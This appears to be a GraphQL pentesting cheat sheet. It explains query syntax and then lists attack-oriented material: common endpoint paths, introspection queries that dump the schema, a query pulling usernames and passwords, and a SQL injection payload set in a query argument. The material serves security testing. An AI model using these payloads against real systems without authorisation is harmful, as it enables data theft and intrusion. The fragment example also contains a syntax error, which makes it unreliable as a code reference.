GraphQL Pentesting

An open-source data query and manipulation language for APIs, and a runtime for fulfilling queries with existing data.

- [swisskyrepo](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection)
- [graphql.org](https://graphql.org/learn/queries/)
- [escape.tech](https://escape.tech/blog/pentest101/)

Common Directories

/graphql
/graphiql
/graphql.php
/graphql/console


Basic Operations - Queries

We can fetch field information by sending queries.

query {
    __typename
}

Fields

To fetch a field object, send a query like the following.

query {
    user {
        name
        friends {
            name
        }
    }
}

Arguments

We can get the specific information by padding arguments (e.g. id) to fields.

query {
    user (id: "1") {
        name
    }
}

Aliases

We can set aliases each field to get multiple results in one request.

query {
    John: user (id: "1") {
        name
        age
    }
    Emma: user (id: "2") {
        name
        age
    }
}

Fragments

We can define arbitrary fragment that is be reusable when fetching each field.

query {
    firstUser: user (id: "1") {
        ...userFields
    }
    secondUser: user (id: "2") {
        ...userFields
    }

    fragment userFields on User {
        name
        age
        friends {
            name
        }
    }
}

Operation Names

We can define an operation name to make an operation less ambiguous. By setting a name, it makes it easier to understand at a glance what kind of operation.

query UserNameAndFriends {
    user {
        name
        friends {
            name
        }
    }
}

Variables

query UsrNameAndFriends($userId: ID) {
    user (id: $userId) {
        name
        friends {
            name
        }
    }
}

Directives

We can filter by passing a directive in fields.

Only include this field if the argument is true.

query UserNameAndFriends($userId: ID, $withFriends: Boolean!) {
    user(id: $userId) {
        name
        friends @include(if: $withFriends) {
            name
        }
    }
}

Skip this field if the argument is true.

query UserNameAndFriends($userId: ID, $withFriends: Boolean!) {
    user(id: $userId) {
        name
        friends @skip(if: $withFriends) {
            name
        }
    }
}


Basic Operations - Mutations

We can modify fields with the mutation field.

mutation {
    __typename
}

To modify a field, execute like the following.

mutation CreateCommentForPost($postId: ID!, $comment: Comment!) {
    createComment(id: $postId, comment: $comment) {
        comment
    }
}

Enumeration

# List fields
query { __schema { types { name } } }
query { __schema { types { fields { name } } } }
query { __schema { types { fields { name description } } } }
query { __schema { types { name fields { name } } } }
query { __schema { types { name fields { name args { name description type { name kind ofType { name kind } } } } } } }

# Dump database schema
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason }  possibleTypes { ...TypeRef }} fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }} query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }

# Dump specific field
query { getUsers { username, password } }


SQL Injection

We might be able to inject SQL somewhere e.g. arguments. Please refer to SQL Injection Cheat Sheet for more payloads.

{
    user (id: "1' UNION SELECT null,null-- -") {
        name
        password
    }
}


NoSQL Injection

We might be able to inject NoSQL somewhere e.g. arguments. Please refer to NoSQL Injection for more payloads.